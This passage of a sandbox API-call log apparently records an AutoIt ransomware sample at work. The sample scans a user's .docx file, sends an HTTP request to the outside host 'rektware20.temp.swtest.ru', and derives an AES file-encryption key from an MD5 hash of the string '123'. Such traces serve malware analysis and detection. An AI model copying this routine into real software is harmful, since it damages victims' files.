dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.948] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.948] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0072.948] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.948] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0072.948] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0072.948] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.948] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0072.948] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0072.948] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c) returned 1 [0072.948] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.948] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.948] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.949] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0072.949] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0072.949] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0072.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0072.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0072.949] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.950] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.950] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.950] CloseHandle (hObject=0x0) returned 0 [0072.950] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.950] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0072.950] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0072.950] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.950] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.950] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.950] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.950] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.950] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.950] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0072.950] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.951] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.951] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0072.951] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.951] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.951] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.951] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.951] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.951] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0072.951] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0072.951] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0072.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0072.951] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0072.951] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa450) returned 1 [0072.952] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.952] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.952] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0072.952] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.952] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.952] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.952] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.952] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.952] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.952] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.952] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.952] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.952] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.952] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.952] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.953] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0072.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.953] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.953] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.953] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.953] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.953] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.953] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.953] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.953] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.953] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.953] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.953] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.953] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.953] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.953] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.953] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0072.954] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0072.954] CryptCreateHash (in: hProv=0x17aa450, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0072.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.954] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0072.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.954] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.954] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.954] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621660, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0072.955] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0072.955] CryptHashData (hHash=0x164c270, pbData=0x16294d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0072.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.955] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.955] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.955] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.955] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.955] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0072.955] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0072.955] CryptDeriveKey (in: hProv=0x17aa450, Algid=0x6610, hBaseData=0x164c270, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6b0) returned 1 [0072.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.956] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.956] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0072.956] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0072.956] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0072.956] CryptDestroyHash (hHash=0x164c270) returned 1 [0072.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 